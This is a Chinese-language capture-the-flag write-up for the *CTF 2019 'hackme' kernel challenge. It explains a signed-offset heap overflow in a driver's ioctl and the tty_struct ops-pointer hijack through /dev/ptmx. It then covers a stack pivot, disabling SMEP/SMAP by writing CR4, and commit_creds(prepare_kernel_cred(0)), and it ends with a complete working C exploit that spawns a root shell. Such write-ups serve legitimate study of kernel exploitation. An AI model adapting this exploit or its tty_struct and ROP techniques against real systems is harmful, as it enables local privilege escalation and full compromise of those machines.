*CTF2019-hackme-WP

Posted on Jul 8, 2021

首先看一下启动参数

qemu-system-x86_64 \
    -m 256M \
    -nographic \
    -kernel bzImage \
    -append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
    -monitor /dev/null \
    -initrd initramfs.cpio \
    -smp cores=4,threads=2 \
    -cpu qemu64,smep,smap 2>/dev/null

开启了 kaslr 和 smep,smap。

这道题是一个堆上溢出造成的 UAF,具体的,在 0x30002 功能,也就是 edit 功能处

offset 和 user_buf_len 都是有符号数,所以通过输入负数就可以实现无限的前后向溢出。由于 slab/slub 对于大多等大小的 chunk 都是连续放置的,所以通过这个溢出可以实现 UAF 等攻击。

类似于 edit 功能,通过 0x30003 号功能可以实现前后读。

内核内存分配器,slab 或 slub 都类似于 fastbin,每个 chunk 的第一个 8 字都指向下一个空闲的 chunk,所以我们可以容易地 leak 出堆块地址

int fd = open("/dev/hackme", O_RDWR);

    add(fd, 2, buf, 0x100);
    add(fd, 3, buf, 0x100);
    data_free(fd, 2);
    get_content(fd, 3, buf, 0x100, -0x100);
    size_t heap_addr = ((size_t* )buf)[0] - 0x200;
    printf("[+] heap_addr: 0x%lx\n", heap_addr);

同样类似于 fastbin,由于我们可以完全控制前一个 chunk,也就是上面 poc 中的 2 号 chunk 的 next 指针,就可以做 fastbin attack,而且不需要考虑绕过乱七八糟的检测,实现任意地址读写,所以一个自然的想法是直接分配到 cred 结构体上,修改 id。但是这样需要泄露 cred 的地址,不是很好实现。所以学习到了 tty_struct attack 这种攻击方式。

tty_struct attack

在 /dev 目录中,有一个 ptmx 设备文件,任何用户都可读写之。在 open 它的时候,内核会为它分配一个 tty_struct 结构体,特别的,这个结构体没有和 kmalloc 隔离,会复用我们释放的大小合适的 chunk,其结构在 Linux 4.20.13 下为

struct tty_struct {
	int	magic;
	struct kref kref;
	struct device *dev;
	struct tty_driver *driver;
	const struct tty_operations *ops;
	int index;

	/* Protects ldisc changes: Lock tty not pty */
	struct ld_semaphore ldisc_sem;
	struct tty_ldisc *ldisc;

	struct mutex atomic_write_lock;
	struct mutex legacy_mutex;
	struct mutex throttle_mutex;
	struct rw_semaphore termios_rwsem;
	struct mutex winsize_mutex;
	spinlock_t ctrl_lock;
	spinlock_t flow_lock;
	/* Termios values are protected by the termios rwsem */
	struct ktermios termios, termios_locked;
	struct termiox *termiox;	/* May be NULL for unsupported */
	char name[64];
	struct pid *pgrp;		/* Protected by ctrl lock */
	struct pid *session;
	unsigned long flags;
	int count;
	struct winsize winsize;		/* winsize_mutex */
	unsigned long stopped:1,	/* flow_lock */
		      flow_stopped:1,
		      unused:BITS_PER_LONG - 2;
	int hw_stopped;
	unsigned long ctrl_status:8,	/* ctrl_lock */
		      packet:1,
		      unused_ctrl:BITS_PER_LONG - 9;
	unsigned int receive_room;	/* Bytes free for queue */
	int flow_change;

	struct tty_struct *link;
	struct fasync_struct *fasync;
	wait_queue_head_t write_wait;
	wait_queue_head_t read_wait;
	struct work_struct hangup_work;
	void *disc_data;
	void *driver_data;
	spinlock_t files_lock;		/* protects tty_files list */
	struct list_head tty_files;

#define N_TTY_BUF_SIZE 4096

	int closing;
	unsigned char *write_buf;
	int write_cnt;
	/* If the tty has a pending do_SAK, queue it here - akpm */
	struct work_struct SAK_work;
	struct tty_port *port;
} __randomize_layout;

注意到其中的 const struct tty_operations *ops; ops 指针,它指向一个 tty 操作虚表,定义为

struct tty_operations {
	struct tty_struct * (*lookup)(struct tty_driver *driver,
			struct file *filp, int idx);
	int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
	void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
	int  (*open)(struct tty_struct * tty, struct file * filp);
	void (*close)(struct tty_struct * tty, struct file * filp);
	void (*shutdown)(struct tty_struct *tty);
	void (*cleanup)(struct tty_struct *tty);
	int  (*write)(struct tty_struct * tty,
		      const unsigned char *buf, int count);
	int  (*put_char)(struct tty_struct *tty, unsigned char ch);
	void (*flush_chars)(struct tty_struct *tty);
	int  (*write_room)(struct tty_struct *tty);
	int  (*chars_in_buffer)(struct tty_struct *tty);
	int  (*ioctl)(struct tty_struct *tty,
		    unsigned int cmd, unsigned long arg);
	long (*compat_ioctl)(struct tty_struct *tty,
			     unsigned int cmd, unsigned long arg);
	void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
	void (*throttle)(struct tty_struct * tty);
	void (*unthrottle)(struct tty_struct * tty);
	void (*stop)(struct tty_struct *tty);
	void (*start)(struct tty_struct *tty);
	void (*hangup)(struct tty_struct *tty);
	int (*break_ctl)(struct tty_struct *tty, int state);
	void (*flush_buffer)(struct tty_struct *tty);
	void (*set_ldisc)(struct tty_struct *tty);
	void (*wait_until_sent)(struct tty_struct *tty, int timeout);
	void (*send_xchar)(struct tty_struct *tty, char ch);
	int (*tiocmget)(struct tty_struct *tty);
	int (*tiocmset)(struct tty_struct *tty,
			unsigned int set, unsigned int clear);
	int (*resize)(struct tty_struct *tty, struct winsize *ws);
	int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
	int (*get_icount)(struct tty_struct *tty,
				struct serial_icounter_struct *icount);
	int  (*get_serial)(struct tty_struct *tty, struct serial_struct *p);
	int  (*set_serial)(struct tty_struct *tty, struct serial_struct *p);
	void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
	int (*poll_init)(struct tty_driver *driver, int line, char *options);
	int (*poll_get_char)(struct tty_driver *driver, int line);
	void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
	int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

也就是说我们对 ptmx 的所有操作都是通过这个虚表中的函数指针调用的,不难想到通过类似于 _IO_FILE 中对 vtable 的攻击来进行利用,也就是让 ptmx 的 tty_struct 使用一个我们可以控制的结构体,修改 ops 指针的值,使之指向一个我们可以控制的内核内存段(因为开启了 smep/smap,内核态不能访问用户态数据),劫持某函数指针(这里以 write 为例)就可以实现任意代码执行。两个条件都很好满足,如下。

int fd = open("/dev/hackme", O_RDWR);
    add(fd, 0, buf, TTY_STRUCT_SIZE);
    add(fd, 1, buf, TTY_STRUCT_SIZE);
    data_free(fd, 0);

    add(fd, 2, buf, 0x100);
    add(fd, 3, buf, 0x100);
    data_free(fd, 2);
    get_content(fd, 3, buf, 0x100, -0x100);
    size_t heap_addr = ((size_t* )buf)[0] - 0x200;
    printf("[+] heap_addr: 0x%lx\n", heap_addr);
    int tty_fd = open("/dev/ptmx", O_RDWR);

    size_t fake_tty_vtable[0x20];
    fake_tty_vtable[7] = magic_gadget; // haijack write
    data_free(fd, 3);
    add(fd, 3, (char *)fake_tty_vtable, 0x100);
    ((size_t* )buf)[3] = heap_addr + 0x100;
    edit(fd, 1, buf, TTY_STRUCT_SLAB_SIZE, -TTY_STRUCT_SLAB_SIZE);

和用户态不同,劫持某函数指针为内核函数是难以完成提权的,ret2usr 的方法也不可行,所以这里的做法是栈迁移 rop。

首先,因为 bzImage 无法直接取出 gadges,先提取出 vmlinux,使用 extract-vmlinux 即可

extract-vmlinux bzImage > vmlinux

然后用 ropper 和 ROPgadget 提取出 gadgets 即可。

回到题目,需要在执行 write 的时候只用一个 gadget 栈迁移到合适的地址上,首先观察一下执行到 write 的时候的寄存器环境

leak 出的 chunk 是当前 chunk 的前一个chunk,可见 rax 就指向了当前的 chunk,也就是 fake_tty_operations 这张表,只要能把 rax 赋值给 rsp 就可以实现有效的栈迁移了,通过 ROPgadget 可以找到这个 gadget

执行玩这个之后栈就会迁移到 fake_tty_operations[0] 处,我们在这里布置 rop 链即可。不过可以注意到,此处的空间有限,所以可以考虑再做一次栈迁移转到一个空间更加宽裕的位置上 rop。之后的 rop 可以考虑关闭 smap/smep ret2usr 提权拿 shell,也可以直接 rop 提权,前者可能会稍微方便一点。

那么最后的问题就是如何获得这些 gadgets 的地址了,因为开启了 kaslr,所以还需要做一个 leak。再 tty_struct 中有大量的内核数据,从中可以 leak 出代码段的地址。具体的,首先打出 tty_struct 中的数据

可见第四个数据看起来很像代码段的数据,所以我们 cat grep 一下

cat /proc/kallsyms | grep ffffff99c25d80

就可以发现这是 ptm_unix98_ops 的地址。然后就可以得出各个内核函数(主要是 prepare_kernel_cred 和 commit_creds 这两个函数)和 gadget 的地址了。

exp

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>

#define TTY_STRUCT_SIZE 0x2E0
#define TTY_STRUCT_SLAB_SIZE 0x400
size_t KERNEL_BIN_BASE = 0xFFFFFFFF81000000;
size_t kernel_base;

// rop chain
size_t mov_cr4_rax_push_rcx_popfq_pop_rbp_ret = 0xffffffff8100252b;
size_t pop_rax_ret = 0xffffffff8101b5a1;
size_t swapgs_popfq_pop_rbp_ret = 0xffffffff81200c2e;
size_t iretq = 0xffffffff81019356;
size_t commit_creds = 0xffffffff8104d220;
size_t prepare_kernel_creds = 0xffffffff8104d3d0;
size_t push_rax_pop_rsp_ret = 0xffffffff810608d5;
size_t pop_rsp_ret = 0xffffffff810484f0;

size_t get_offed_addr(size_t raw_addr)
{
    return (raw_addr - KERNEL_BIN_BASE + kernel_base);
}

void update_gadgets_addr()
{
    mov_cr4_rax_push_rcx_popfq_pop_rbp_ret = get_offed_addr(mov_cr4_rax_push_rcx_popfq_pop_rbp_ret);
    pop_rax_ret = get_offed_addr(pop_rax_ret);
    swapgs_popfq_pop_rbp_ret =  get_offed_addr(swapgs_popfq_pop_rbp_ret);
    iretq = get_offed_addr(iretq);
    commit_creds = get_offed_addr(commit_creds);
    prepare_kernel_creds = get_offed_addr(prepare_kernel_creds);
    push_rax_pop_rsp_ret = get_offed_addr(push_rax_pop_rsp_ret);
    pop_rsp_ret = get_offed_addr(pop_rsp_ret);
}

struct DATA
{
    unsigned int idx;
    int dummy;
    char* buf;
    long long buf_len;
    long long offset;
};

void add(int fd, unsigned int idx, char* buf, long long buf_len)
{
    struct DATA tmp;
    tmp.idx = idx;
    tmp.buf = buf;
    tmp.buf_len = buf_len;
    tmp.offset = 0;
    ioctl(fd, 0x30000, &tmp);
}

void data_free(int fd, unsigned int idx)
{
    struct DATA tmp;
    tmp.idx = idx;
    ioctl(fd, 0x30001, &tmp);
}

void edit(int fd, unsigned int idx, char* buf, long long buf_len, long long offset)
{
    struct DATA tmp;
    tmp.idx = idx;
    tmp.buf = buf;
    tmp.buf_len = buf_len;
    tmp.offset = offset;
    ioctl(fd, 0x30002, &tmp);
}

void get_content(int fd, unsigned int idx, char* buf, long long buf_len, long long offset)
{
    struct DATA tmp;
    tmp.idx = idx;
    tmp.buf = buf;
    tmp.buf_len = buf_len;
    tmp.offset = offset;
    ioctl(fd, 0x30003, &tmp);
}

size_t user_cs, user_gs, user_ds, user_es, user_ss, user_rflags, user_rsp;
void get_user_stat()
{
	__asm__ (".intel_syntax noprefix\n");
	__asm__ volatile (
		"mov user_cs, cs;\
		 mov user_ss, ss;\
		 mov user_gs, gs;\
		 mov user_ds, ds;\
		 mov user_es, es;\
		 mov user_rsp, rsp;\
		 pushf;\
		 pop user_rflags"
	);
	printf("[+] got user stat\n");
}

char buf[0x500] = {0};

void get_root() 
{
    void* (*pkc)(int) = (void*(*)(int)) prepare_kernel_creds;
    void (*cc)(void*) = (void(*)(void*)) commit_creds;
    (*cc)((*pkc)(0));
    //puts("commited!\n");
}

void get_shell()
{
    printf("[-] uid = %d", getuid());
    if (getuid() == 0)
    {
        puts("[+] root now!");
        system("/bin/sh");
    }
    else
    {
        puts("err: not root");
        system("/bin/sh");
        exit(-1);
    }
}


int main()
{
    get_user_stat();
    int fd = open("/dev/hackme", O_RDWR);
    printf("fd: %d\n", fd);
    if (fd < 0)
    {
        return -1;
    }
    add(fd, 0, buf, TTY_STRUCT_SIZE);
    add(fd, 1, buf, TTY_STRUCT_SIZE);
    data_free(fd, 0);

    add(fd, 2, buf, 0x100);
    add(fd, 3, buf, 0x100);
    data_free(fd, 2);
    get_content(fd, 3, buf, 0x100, -0x100);
    size_t heap_addr = ((size_t* )buf)[0] - 0x200;
    printf("[+] heap_addr: 0x%lx\n", heap_addr);
    int tty_fd = open("/dev/ptmx", O_RDWR);
    get_content(fd, 1, buf, TTY_STRUCT_SLAB_SIZE, -TTY_STRUCT_SLAB_SIZE);

    size_t ptm_unix98_ops_addr = ((size_t*)buf)[3];
    printf("[+] ptm_unix98_ops: 0x%lx\n", ptm_unix98_ops_addr);
    kernel_base = ptm_unix98_ops_addr - 0x625D80;
    printf("[+] kernel_base: 0x%lx\n", kernel_base);
    update_gadgets_addr();
    printf("[+] prepare_kernel_cred: 0x%lx\n",prepare_kernel_creds);

    size_t rop_chain[0x20];
    int i = 0;
    rop_chain[i++] = pop_rax_ret;
    rop_chain[i++] = 0x6F0;
    rop_chain[i++] = mov_cr4_rax_push_rcx_popfq_pop_rbp_ret; // disable smap, smep
    rop_chain[i++] = 0;
    rop_chain[i++] = (size_t) get_root; // ret2usr
    rop_chain[i++] = swapgs_popfq_pop_rbp_ret;
    rop_chain[i++] = 0;
    rop_chain[i++] = 0;
    rop_chain[i++] = iretq;
    rop_chain[i++] = (size_t) get_shell;
    rop_chain[i++] = user_cs;
    rop_chain[i++] = user_rflags;
    rop_chain[i++] = user_rsp;
    rop_chain[i++] = user_ss;
    add(fd, 2, (char *)rop_chain, 0x100);

    size_t fake_tty_vtable[0x20];
    fake_tty_vtable[7] = push_rax_pop_rsp_ret;
    fake_tty_vtable[0] = pop_rsp_ret;
    fake_tty_vtable[1] = heap_addr;
    data_free(fd, 3);
    add(fd, 3, (char *)fake_tty_vtable, 0x100);
    ((size_t* )buf)[3] = heap_addr + 0x100;
    edit(fd, 1, buf, TTY_STRUCT_SLAB_SIZE, -TTY_STRUCT_SLAB_SIZE);
    puts("ready for trig");
    write(tty_fd, buf, 0x800);
    return 0;
}